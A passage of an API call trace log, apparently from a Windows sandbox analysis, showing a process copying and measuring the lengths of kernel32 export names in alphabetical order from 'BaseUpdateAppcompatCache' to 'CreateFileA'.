lpString1=0x38bdda8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0149.529] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0149.529] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0149.529] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0149.529] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0149.529] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0149.529] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0149.529] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0149.529] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0149.529] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0149.529] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0149.529] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0149.529] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0149.530] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0149.530] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0149.530] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0149.530] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0149.530] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0149.530] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0149.530] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0149.530] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0149.530] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0149.530] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0149.530] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0149.530] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0149.530] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0149.530] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0149.531] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0149.531] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0149.531] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0149.531] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0149.531] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0149.531] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0149.531] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0149.531] lstrlenA (lpString="BEEP") returned 4 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0149.531] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0149.531] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0149.531] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0149.531] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0149.531] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0149.531] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0149.531] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0149.531] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0149.531] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0149.531] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0149.532] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0149.532] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0149.532] lstrlenA (lpString="CANCELIO") returned 8 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0149.532] lstrlenA (lpString="CANCELIOEX") returned 10 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0149.532] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0149.532] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0149.532] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0149.532] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0149.532] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0149.532] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0149.532] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0149.532] lstrlenA (lpString="CHECKELEVATION") returned 14 [0149.532] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0149.533] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0149.533] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0149.533] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0149.533] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0149.533] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0149.533] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0149.533] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0149.533] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0149.533] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0149.533] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0149.533] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0149.533] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0149.533] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0149.533] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0149.534] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0149.534] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0149.534] lstrlenA (lpString="CLOSESTATE") returned 10 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0149.534] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0149.534] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0149.534] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0149.534] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0149.534] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0149.534] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0149.534] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0149.534] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0149.534] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0149.534] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0149.534] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0149.534] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0149.534] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0149.534] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0149.535] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0149.535] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0149.535] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0149.535] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0149.535] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0149.535] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0149.535] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0149.535] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0149.535] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0149.535] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0149.535] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0149.535] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0149.535] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0149.535] lstrlenA (lpString="COPYCONTEXT") returned 11 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0149.535] lstrlenA (lpString="COPYFILE2") returned 9 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0149.535] lstrlenA (lpString="COPYFILEA") returned 9 [0149.535] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0149.536] lstrlenA (lpString="COPYFILEEXA") returned 11 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0149.536] lstrlenA (lpString="COPYFILEEXW") returned 11 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0149.536] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0149.536] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0149.536] lstrlenA (lpString="COPYFILEW") returned 9 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0149.536] lstrlenA (lpString="COPYLZFILE") returned 10 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0149.536] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0149.536] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0149.536] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0149.536] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0149.536] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0149.536] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0149.536] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0149.536] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0149.536] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0149.536] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0149.536] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0149.536] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0149.537] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0149.537] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0149.537] lstrlenA (lpString="CREATEEVENTA") returned 12 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0149.537] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0149.537] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0149.537] lstrlenA (lpString="CREATEEVENTW") returned 12 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0149.537] lstrlenA (lpString="CREATEFIBER") returned 11 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0149.537] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0149.537] lstrlenA (lpString="CREATEFILE2") returned 11 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileA" 